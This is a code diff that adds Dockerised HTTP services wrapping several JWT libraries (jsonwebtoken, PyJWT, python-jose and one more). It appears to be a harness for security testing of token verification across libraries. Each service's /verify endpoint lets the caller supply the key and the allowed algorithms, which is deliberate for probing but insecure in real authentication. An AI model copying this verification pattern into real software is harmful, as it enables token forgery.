+ algorithms: algs,
+ });
+ return { valid: true, claims, error: null, lib: LIB_ID, version: LIB_VERSION };
+ } catch (e) {
+ return {
+ valid: false,
+ claims: null,
+ error: `${e.code || e.name}: ${e.message}`,
+ lib: LIB_ID,
+ version: LIB_VERSION,
+ };
+ }
+}
+
+const server = http.createServer((req, res) => {
+ if (req.method !== "POST" || req.url !== "/verify") {
+ res.writeHead(404);
+ return res.end();
+ }
+ let body = "";
+ req.on("data", (c) => (body += c));
+ req.on("end", async () => {
+ let payload;
+ try {
+ payload = JSON.parse(body);
+ } catch {
+ res.writeHead(400, { "Content-Type": "application/json" });
+ return res.end(JSON.stringify({ error: "bad json" }));
+ }
+ const out = await verdict(payload);
+ res.writeHead(200, { "Content-Type": "application/json" });
+ res.end(JSON.stringify(out));
+ });
+});
+
+server.listen(7004, "0.0.0.0", () => {
+ console.error(`[${LIB_ID} ${LIB_VERSION}] listening :7004`);
+});
targets/node-jsonwebtoken/Dockerfile +7 -0
@@ -0,0 +1,7 @@
+FROM node:20-alpine
+WORKDIR /app
+COPY package.json .
+RUN npm install --omit=dev --silent
+COPY server.js .
+EXPOSE 7001
+CMD ["node", "server.js"]
targets/node-jsonwebtoken/package.json +8 -0
@@ -0,0 +1,8 @@
+{
+ "name": "schism-target-nodejwt",
+ "version": "0.1.0",
+ "private": true,
+ "dependencies": {
+ "jsonwebtoken": "^9.0.2"
+ }
+}
targets/node-jsonwebtoken/server.js +46 -0
@@ -0,0 +1,46 @@
+const http = require("http");
+const jwt = require("jsonwebtoken");
+
+const LIB_ID = "nodejwt";
+const LIB_VERSION = require("jsonwebtoken/package.json").version;
+
+function verdict(payload) {
+ const { token, key, algs } = payload;
+ try {
+ const claims = jwt.verify(token, key, { algorithms: algs });
+ return { valid: true, claims, error: null, lib: LIB_ID, version: LIB_VERSION };
+ } catch (e) {
+ return {
+ valid: false,
+ claims: null,
+ error: `${e.name}: ${e.message}`,
+ lib: LIB_ID,
+ version: LIB_VERSION,
+ };
+ }
+}
+
+const server = http.createServer((req, res) => {
+ if (req.method !== "POST" || req.url !== "/verify") {
+ res.writeHead(404);
+ return res.end();
+ }
+ let body = "";
+ req.on("data", (c) => (body += c));
+ req.on("end", () => {
+ let payload;
+ try {
+ payload = JSON.parse(body);
+ } catch {
+ res.writeHead(400, { "Content-Type": "application/json" });
+ return res.end(JSON.stringify({ error: "bad json" }));
+ }
+ const out = verdict(payload);
+ res.writeHead(200, { "Content-Type": "application/json" });
+ res.end(JSON.stringify(out));
+ });
+});
+
+server.listen(7001, "0.0.0.0", () => {
+ console.error(`[${LIB_ID} ${LIB_VERSION}] listening :7001`);
+});
targets/pyjwt/Dockerfile +6 -0
@@ -0,0 +1,6 @@
+FROM python:3.12-alpine
+WORKDIR /app
+RUN pip install --no-cache-dir 'PyJWT[crypto]==2.9.0'
+COPY server.py .
+EXPOSE 7002
+CMD ["python", "server.py"]
targets/pyjwt/server.py +49 -0
@@ -0,0 +1,49 @@
+import json
+from http.server import BaseHTTPRequestHandler, HTTPServer
+
+import jwt
+
+LIB_ID = "pyjwt"
+LIB_VERSION = jwt.__version__
+
+def verdict(payload):
+ token = payload["token"]
+ key = payload["key"]
+ algs = payload["algs"]
+ try:
+ claims = jwt.decode(token, key, algorithms=algs)
+ return {"valid": True, "claims": claims, "error": None,
+ "lib": LIB_ID, "version": LIB_VERSION}
+ except Exception as e:
+ return {"valid": False, "claims": None,
+ "error": f"{type(e).__name__}: {e}",
+ "lib": LIB_ID, "version": LIB_VERSION}
+
+class Handler(BaseHTTPRequestHandler):
+ def log_message(self, *_):
+ pass
+
+ def do_POST(self):
+ if self.path != "/verify":
+ self.send_response(404)
+ self.end_headers()
+ return
+ n = int(self.headers.get("Content-Length", 0))
+ try:
+ payload = json.loads(self.rfile.read(n))
+ except Exception:
+ self.send_response(400)
+ self.end_headers()
+ self.wfile.write(b'{"error":"bad json"}')
+ return
+ out = verdict(payload)
+ body = json.dumps(out).encode()
+ self.send_response(200)
+ self.send_header("Content-Type", "application/json")
+ self.send_header("Content-Length", str(len(body)))
+ self.end_headers()
+ self.wfile.write(body)
+
+if __name__ == "__main__":
+ print(f"[{LIB_ID} {LIB_VERSION}] listening :7002")
+ HTTPServer(("0.0.0.0", 7002), Handler).serve_forever()
targets/python-jose/Dockerfile +7 -0
@@ -0,0 +1,7 @@
+FROM python:3.12-alpine
+WORKDIR /app
+RUN apk add --no-cache gcc musl-dev libffi-dev openssl-dev \
+ && pip install --no-cache-dir 'python-jose[cryptography]==3.3.0'
+COPY server.py .
+EXPOSE 7003
+CMD ["python", "server.py"]
targets/python-jose/server.py +50 -0
@@ -0,0 +1,50 @@
+import json
+from http.server import BaseHTTPRequestHandler, HTTPServer
+
+from jose import jwt
+import jose
+
+LIB_ID = "pyjose"
+LIB_VERSION = getattr(jose, "__version__", "unknown")
+
+def verdict(payload):
+ token = payload["token"]
+ key = payload["key"]
+ algs = payload["algs"]
+ try:
+ claims = jwt.decode(token, key, algorithms=algs)
+ return {"valid": True, "claims": claims, "error": None,
+ "lib": LIB_ID, "version": LIB_VERSION}
+ except Exception as e:
+ return {"valid": False, "claims": None,
+ "error": f"{type(e).__name__}: {e}",
+ "lib": LIB_ID, "version": LIB_VERSION}
+
+class Handler(BaseHTTPRequestHandler):
+ def log_message(self, *_):
+ pass
+
+ def do_POST(self):
+ if self.path != "/verify":
+ self.send_response(404)
+ self.end_headers()
+ return
+ n = int(self.headers.get("Content-Length", 0))
+ try:
+ payload = json.loads(self.rfile.read(n))
+ except Exception:
+ self.send_response(400)
+ self.end_headers()
+ self.wfile.write(b'{"error":"bad json"}')
+ return
+ out = verdict(payload)
+ body = json.dumps(out).encode()
+ self.send_response(200)
+ self.send_header("Content-Type", "application/json")
+ self.send_header("Content-Length", str(len(body)))
+ self.end_headers()
+ self.wfile.write(body)
+
+if __name__ == "__main__":
+ print(f"[{LIB_ID} {LIB_VERSION}] listening :7003")
+ HTTPServer(("0.0.0.0", 7003), Handler).serve_forever()